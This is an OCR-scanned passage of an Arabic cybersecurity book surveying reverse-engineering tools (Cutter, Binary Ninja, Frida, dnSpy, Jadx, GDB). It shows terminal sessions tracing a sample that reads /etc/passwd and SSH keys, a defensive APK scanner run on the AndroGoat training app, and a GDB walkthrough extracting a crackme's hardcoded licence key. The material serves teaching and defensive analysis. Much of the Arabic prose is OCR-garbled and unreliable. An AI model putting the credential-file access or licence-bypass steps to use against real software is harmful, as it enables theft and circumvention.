[0x1400013f0]> axt @ sym.imp.WININET.d1l_ InternetConnectW
sym.Exfiltration 0x1400018a4 [DATA] mov rax, qword [sym.imp.WININET.dll_InternetConne
(nofunc) 0x140001ab8 [CODE] jmp qword [sym.imp.WININET.d1ll InternetConnectW]
[0x1400013£f0]>
[0x1400013f0]> echo [*] ANALYSIS COMPLETE
[*] ANALYSIS COMPLETE
[0x1400013£0]>

https://cutter.re :Jsaad
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Binary Ninja 1.\:

il 31aY) s2a Binary Ninja eaie ,S3 (e 2 3 Sl Luigh alle b de ol 5 sl e Gianii Lavie
OS5 s celatl) e i S 5 Y eb Aapail) ol oY) Aie ] Lol ddlide 2auldy cels Vector 35 S 5l e
Jlaall siadll 3 oS daguasi e

Ya eddalon MLIL s i siosal) saamie Aages sl) cilalll 485 o duaial) s2a L due 5l il 53400 5 5l
znail A yvie Jal ye e @l Lgien 53y a5 3 il Ll Assembly apesill 4ad 56l 8 e 31081 &y o e
da) s liai Ll Loy 38 Ao s gralial) (3l agh clile Jeus Laa casgiall G 4 5l ial) 451 (he Tas 4 53
Ball Jeall Jumiall Ll gb AiaB 3 gl 8 Juai) (e 225 Python AP dsse s dgal 55 Tas diai g4 jeac
Al cilgal sl wa gl mall o Yoy dalaill e 585 G5 5 0l il G

4addl) dualdl)

(aﬁ:m K?}}M‘BJLG_A“LEJSM

Windows, Linux, macOS Jasail) dalas
& A Aal<il)
@il oan il g 5

Binary Ninja 33 &l juee

https://binary.ninja :Jsad

Frida V.\:.

collaall #1 el da e 512Y1 28 el ASpaliall dpSall duighl g J)sad) Clindad jand o seie e ) 310Y)
.(Dynamic Instrumentation) Ssluall Giall a6 e aaias LY
(Runtime) s_SIAl 8 alac o131 Gadaill Jals JavaScript o) 581 cisy el mans Wil Frida (85 5,401 3 sl
(Root s a2 51 SSL Pinning Jie sxies tlules 5 slat i 5l clgiad il cdime Ala G ey by
i0S 5 Android ¢ L& claidl JS ae i gl Lay s Ansanisale) 5 gkl elail 2alall (4 50 Llas Detection)
Lo s ¥ ) B1aY) b 6 3alall ey Sl 44ld) Frida CodeShare 48 25a 5 ao 5 <Windows o

Jisall iyl (asd (3 i
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eiln QM‘EJL@A“_;}LM

Linux, Windows, macOS, Android, iOS ol Aokl
e Al
wxWindows Library License s il g g

Frida #)al < s

‘Frida plasinl dulual) bl 48 ju i€ 5 clalal) Ll ot 1 dae JUa
frida-trace -i "open" -i "write" ./suspicious_app
BSSIAN & bl Jlas s ccnad 48) el Frida pssi Y cadiiadl sosliand) s 1JGal 7
.secret_leak.txt side cile 844U 5 fotc/passwd syl ClalS Calaze) 54 lae3aY) Ciaa ;) reililal) 48 o o

i) 5 (write) LUS) dulee sU (Buffer) 4 3all 5 8101 (5 sine 3131 Cunsi (DLP): cbibgl) RS o

(e \ain) lana a8 55 ¢y s e AalS (ardiine aul) Tas dulua Ly

oo Lo c(Key SSH) ual;l\ ‘):\A.&.\l\ CC\M ‘_A\ d}».é)ﬂ\ w:\:\u‘)ﬂ\ Cxla g V) calays M\ a.)LAA.“ .
‘;.4;..1 o) Al & (a\.E.'\S Jdaadl le Frida 5,3

EGERN]

yaser@CyberBookio:~$ frida-trace -i "open" -i "write" ./suspicious_app
Instrumenting. ..
open: Loaded handler at "/home/yaser/__handlers__/libc.so.6/open.js"
write: Loaded handler at "/home/yaser/__handlers__/libc.so.6/write.js"
[*] Malware running... PID: 2019301
Started tracing 2 functions. Web UI available at http://localhost:39111/
[*] Done.
/* TID Oxlecfeb */
3 ms write(fd=0x1, buf=0xaaaacc1103c0, count=0x24)
3 ms open(path="/etc/passwd")

5 ms open(path="/tmp/secret_leak.txt")
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5 ms write(fd=0x5, buf=0xaaaaae710be8, count=0x26)

5 ms /* PII Data Detected in Buffer: "USER:admin|PASS:123456|SSN:999
7 ms [!!!] MALWARE BLOCKED: Attempted to access SSH Key: /home/yaser/.ssh/id_rs
7 ms write(fd=0x1, buf=0xffffd8cc3268, count=0x0)

7 ms write(fd=0x1, buf=0xaaaacc1103c0, count=0xa)

Process terminated

https:/frida.re :Jsaad

dnSpy AV

da sitall 31Y1 028 ANSPY (e diadl Sl a5y D NET & dine il Joaas ol Qs sp angdl (3585 Laxie
Ay 8 e duain 3ol odgn (laaiag La 1,0l ik 5 G Comen LY el 138 3 llaall Ll 225 jaiadl)
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dadl) Asaldl)
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Windows i) daas
PAEW 48l
GPLv3 o il g 5

dnSpy 33 & jaes

https://github.com/dnSpy/dnSpy :Jsal
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Jadx 4.\

das 3 € Al cula 31aY) o282y gyl clipdad e 58 5 el Caaly (Y g 3lal) 3 5 b Jadix sl
APK ile Lgdast bl dabus g5 S8 6 5 ja 5 el s Java 28 ) dasgdall e 5338l Dex ilile Jysad a
IS N Ll shaall iS5 5 phall iy pai g JalSIL 48,865 iy o 5858
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3 e 2y g il sadad gl Jary oS agdl Lall Lals 3l 581 81aY) canual clglalls (g sl Cand) & jma g Taa

dagdl) daldl)
Lo sia | sllaall 3 leall (5 sl
Linux, Windows, macOS BERPNA
Slae 4l
Apache-0.2 e il g g

Jadx 313l & jaae

:(Bash Scripting) uaw—is <y S alaaids (AndroGoat) Android Gadai Jalas diail 1 tas Jia

./apk_scanner.sh

VT sl Eanl (e Yy JadX alasinly Gadaill juads ol Y 5f il caniiall Gaudaill 138 & Qb ¢ i
=2 psdy Jaans Bash < S Jiandi 5 4US Liad cclalal)

(o> G333 51 5alSl) i) AndroidManifest.xml (e 3 _shaall cladlall # i) jciligh) gasd )

3598 Calal Lulsa o) ) e (23S Las ((Hardcoded URLS) diacaal) Ll 55l (e casdl 1 ) ) dna Y

RootDetectionActivity Jis ¢ gudaill Cailla g I 5085 da siie dnayy it e iall 1Sl Julas ¥
(R 50 DS e (o 5iat L Lile A1) HardCodeActivity s (<5l i)
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yaser@CyberBookio:~$ jadx -d analysis_output --show-bad-code AndroGoat.apk
INFO - loading ...
INFO - processing ...

ERROR - finished with errors, count: 32

yaser@CyberBookio:~$ cat apk_scanner.sh
#!/bin/bash
APK_FILE="AndroGoat.apk"

OUT_DIR="analysis_output"

echo "[*] TARGET: $APK FILE"
echo "[x] STATUS: Decompilation finished (ignoring non-fatal errors)..."

echo nn

echo "[!] MANUAL INSPECTION RESULTS:"

echo N e e "

# 1. SCAN PERMISSIONS

echo "[+] Dangerous Permissions (AndroidManifest.xml):"

if [ -f "$0UT_DIR/resources/AndroidManifest.xml" ]; then
grep "uses-permission" "$0UT_DIR/resources/AndroidManifest.xml" | \
grep —-E "SMS|CONTACTS|LOCATION|CAMERA|EXTERNAL_STORAGE" | \

sed 's/.*android:name="//;s/".x//'" | \

sed 's/~/ -/
else

echo " [!'] Manifest not found!"
fi
echo nn

# 2. SCAN SECRETS (URLs and Keys)

echo "[+] Hardcoded Secrets Found:"
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# Search recursively for http/https, filtering out standard android schemas
grep -rE "http://|https://" "$0UT_DIR/sources" 2>/dev/null | \

grep -v "schemas.android.com" | \

grep -v "www.w3.org" | \

grep -v "google.com" | \

head -n 5 | \

awk -F '"'" '{print " = \"" $2 "\""}'

echo nn

# 3. SCAN SUSPICIOUS CLASSES

echo "[+] Suspicious Classes:"

# Look for keywords typical of malware or the AndroGoat specific vuln classes
# We hide 'databinding' to keep the output clean

find "$0UT_DIR/sources" -name "*.java" 2>/dev/null | \

grep -E "RootDetection|Emulator|Sms|Insecure|HardCode" | \

grep -v "databinding" | \

sed "s|$0UT_DIR/sources/|[|" | \
sed 's/"/ -/
echo ""

echo "[*] Analysis Complete."

yaser@CyberBookio:~$ ./apk_scanner.sh
[*] TARGET: AndroGoat.apk

[*] STATUS: Decompilation finished (ignoring non-fatal errors)...

[!] MANUAL INSPECTION RESULTS:

[+] Dangerous Permissions (AndroidManifest.xml):
- android.permission.WRITE_EXTERNAL_ STORAGE
- android.permission.READ_EXTERNAL_ STORAGE
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- android.permission.CAMERA

[+] Hardcoded Secrets Found:
- "http://"
- "https://"
- "http://"
- "https://owasp.org"

- "https://raw.githubusercontent.com/satishpatnayak/MyTest/master/AndroGoatInvoic
p g p y y

[+] Suspicious Classes:
- owasp/sat/agoat/EmulatorDetectionActivity.java
- owasp/sat/agoat/InsecureStorageSDCardActivity. java
- owasp/sat/agoat/InsecureloggingActivity.java
- owasp/sat/agoat/InsecureStorageTempActivity. java
- owasp/sat/agoat/InsecureStorageSharedPrefs. java
- owasp/sat/agoat/RootDetectionActivity. java
- owasp/sat/agoat/InsecureStorageActivity. java
- owasp/sat/agoat/HardCodeActivity. java
- owasp/sat/agoat/InsecureStorageSharedPrefslActivity. java

- owasp/sat/agoat/InsecureStorageSQLiteActivity.java

[*] Analysis Complete.

https://github.com/skylot/jadx :Jsad

GDB - The GNU Project Debugger ‘:.\:

OSar Y .GDB 5 oSl alle L eladl) il a1 QY15 V) aa pall iad 31 310Y0 andll 38 2345
OS] Aot lan’ el Aoy eS8 51331 03 o 5 o 30 Gl ) UNIX Rl 8 T s s Sl 3l o
3 sy shad 3 Kl Aalie GDB ll i calae A0S sl el ol (il 65 s Jsn (el (e Yo talae oL s il
3_ile Ll (Registers) ka5 3,813l saalia
Giob oe S Uy kil ALE diaie &y ol (g shaall 310 3 e Cunl Ll GDB (8 5, 3 5l
gy Aisle aSaida o) 1) Aleall 6la sudl A5LEN 038 Jsad «(Python e 4wll) PEDA 5l GEF Jie i)
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Linux, macOS, BSD, Solaris BERPNA
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GDB lal &l jas

3 S (e st il Flide ) jaiul 5 (LiveOverflow) gt » s oS 1 tas JUa
gdb -q ./license_1

el ablen oS Caagy ailadll LiveOverflow g s ria (e el ApnSe dunia oleny o 583 1 Ul g s
Gl ve | Jeal) <d U (Registers) <Ol Jilaid GEF 4w padin 18 GARMBS 4 lars o Jan
T Al bl e 3 SIAN Ciids «stremp 4 el iy aie GAL'\)..J\

.(AAAAA-BBBBB-CCCCC) 4:_aill ldlaaly L All (e gucaill Al e (5 5iay 1$X0 Jasal) o

A% )i Jglay el pall OIS A (AAAA-Z1ON-42-OK) zasall (sl 4 )l (o i3S 1§x1 Jawsal) o
RSP ERPY

i il Aalall g0 a5 S (e byl Aol L)y iilial) ) Al aeY) Jlaall (S (oS e sy 3
i) iy 3l Al
sl Al

(yaser CyberBookio)-[~/liveoverflow_youtube/0x05_simple_crackme_intro_assembler]
$ gdb -q ./license_1
GEF for linux ready, type "gef' to start, “gef config' to configure
93 commands loaded and 5 functions added for GDB 16.3 in 0.00ms using Python engine 3

Reading symbols from ./license 1...
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(No debugging symbols found in ./license_1)

gef

[*] PIC binary detected, retrieving text base address

entry

[+] Breaking at entry-point: Oxaaaaaaaal0700

[ Legend: Modified register | Code | Heap | Stack | String ]

$x0
$x1
$x2
$x3
$x4
$x5
$x6
$x7
$x8
$x9

$x10 :

[ Legend: Modified register |

$x0
$x1
$x2
$x3
$x4
$x5
$x6
$x7
$x8
$x9

$x10 :

$x11

$x12 :

: 0x0000ffff£f7£c1780
: 0x0000fff££7£££950
: 0x0

: 0x0000ffffffffed68
: 0x0000fffff7££46c0
: Oxcbffffffff

: 0x300000000000000
: 0x0000fffff7ffcob8
¢ 0xd7

: 0x30

0x1ddbdf

: OxOO00Offfffffff127
: 0x0000aaaaaaaal8f8
: OxOOOOfffffffff127
: 0x0

: 0x0

: 0x0

: 0x0

: Ox1

: 0x40

: 0xOO000fffff7ffdb28

0x0000£££££7d£5250

. 0x0

0xO0000ff£££7£££370

CyberBook.io
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paciasp

0x0000000000000000

OxO000fffffff££139
0xO0000ff£££7£££370

"glibc.cpu.aarch64_gcs"

-

-5

"COLORFGBG=15;0"

Code | Heap | Stack | String ]

"AAAAA-BBBBB-CCCCC"

"AAAA-Z10N-42-0K"

"AAAAA-BBBBB-CCCCC"

0x£549f0e86b0aa800
0x000d40012000083bf

0x0000aaaaaaaa0000

YA

-

0x0000aaaaaaaal000 - .inst Ox
.inst 0x464c457f ; undefined
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$x13 : 0x0000ffffffffeb70 -+ 0x00000000£fc000000

$x14 : 0x0

$x15 : 0x724e59

$x16 : 0x0000fffff7e7d800 -+ <strcmp+0000> bti c

$x17 : 0x0000aaaaaaac0028 -+ 0x0000fffff7e7d800 -+ <strcmp+0000> bti c

$x18 : Oxfff

$x19 : 0x0000ffffffffed48 - O0x0000fffffffff0d8 - "/home/yaser/liveoverflow_youtub
$x20 : 0x2

$x21 : 0x0000aaaaaaabfdd0 - 0x0000aaaaaaaal7cc -+ <__do_global_ dtors_aux+0000> pac
$x22 : 0x0000aaaaaaaald828 -+ <main+0000> stp x29, x30, [sp, #-32]!

$x23 : 0x0000ffffffffed60 -+ Ox0000fffffffff139 - "COLORFGBG=15;0"

$x24 : 0x0000fffff7ffdb30 -+ 0x0000000000000000

$x25 : 0x0

$x26 : 0x0000fffff7ffe000 -+ O0x0000fffff7fff370 - 0x0000aaaaaaaal000 - .inst Ox
$x27 : 0x0000aaaaaaabfdd0 - 0x0000aaaaaaaal7cc -+ <__do_global dtors_aux+0000> pac
$x28 : 0x0

$x29 : 0x0000ffffffffebbO0 -+ 0x0000ffffffffecd0 - 0x0000ffffffffece0 -+ 0x0000000
$x30 : 0x0000aaaaaaaal87c -~ <main+0054> cmp w0, #0x0

$sp : 0x0000ffffffffebb0 - O0x0000ffffffffecd0 -+ 0x0000ffffffffece0 -+ 0x0000000
$pc : 0x0000fffff7e7d804 - 0xb200c3e8cb00002a ("*"7)

$cpsr: [NEGATIVE zero carry overflow interrupt endian fast t32 m[4]]

$fpsr: 0x0

$fpcr: 0x0

0x0000ffffffffebb0 +0x0000: 0x0000ffffffffecd0 - 0x0000ffffffffece0 - 0x000000000(
0x0000ffffffffebb8 +0x0008: 0x0000fffff7e0229¢c -+ bl Oxfffff7e195c0 <exit>
0x0000ffffffffebcO +0x0010: 0x0000ffffffffed48 - 0x0000fffffffff0d8 - "/home/yase:
0x0000ffffffffebc8 +0x0018: 0x0000000200000000

0x0000ffffffffebd0 +0x0020: 0x0000ffffffffec60 -+ 0x0000000000000000
0x0000ffffffffebd8 +0x0028: 0x0000aaaaaaaa0828 -+ <main+0000> stp x29, x30, [sp, 1
0x0000ffffffffebe0 +0x0030: 0x0000000200000000

0x0000ffffffffebe8 +0x0038: 0x0000ffffffffed48 - 0x0000fffffffff0d8 - "/home/yase:
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Oxfffff7e7d7£8 nop
Oxfffff7e7d7fc nop
0xffff£7e7d800 <strcmp+0000> bti c
-+ Oxfffff7e7d804 <strcmp+0004> sub x10, x1, xO
0xffff£7e7d808 <strcmp+0008> mov x8, #0x101010101010101 // #723401728
0xfffff7e7d80c <strcmp+000c> and x6, x0, #0x7
Oxfffff7e7d810 <strcmp+0010> tst x10, #0x7
Oxfffff7e7d814 <strcmp+0014> b.ne Oxfffff7e7d894 <strcmp+148> // b.any
Oxfffff7e7d818 <strcmp+0018> cbnz x6, Oxfffff7e7d870 <strcmp+112>

[#0] Id 1, Name: "license_1", stopped Oxfffff7e7d804 in strcmp (), reason: BREAKPOINT

[#0] Oxfffff7e7d804 -+ strcmp()

[#1] Oxaaaaaaaal087c -+ main()

gef x/s $x1
Oxaaaaaaaal08f8: "AAAA-Z10N-42-0K"

gef ¢

(yaser CyberBookio)-[~/liveoverflow_youtube/0x05_simple_crackme_intro_assembler]
$ ./license_1 AAAA-Z10N-42-0K
Checking License: AAAA-Z10N-42-0K

Access Granted!

(yaser CyberBookio)-[~/liveoverflow_youtube/0x05_simple_crackme_ intro_assembler]

$

https://www.gnu.org/software/gdb/ :Jsaal
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(Reverse Engineering) dmsall duaigh) :audl daild
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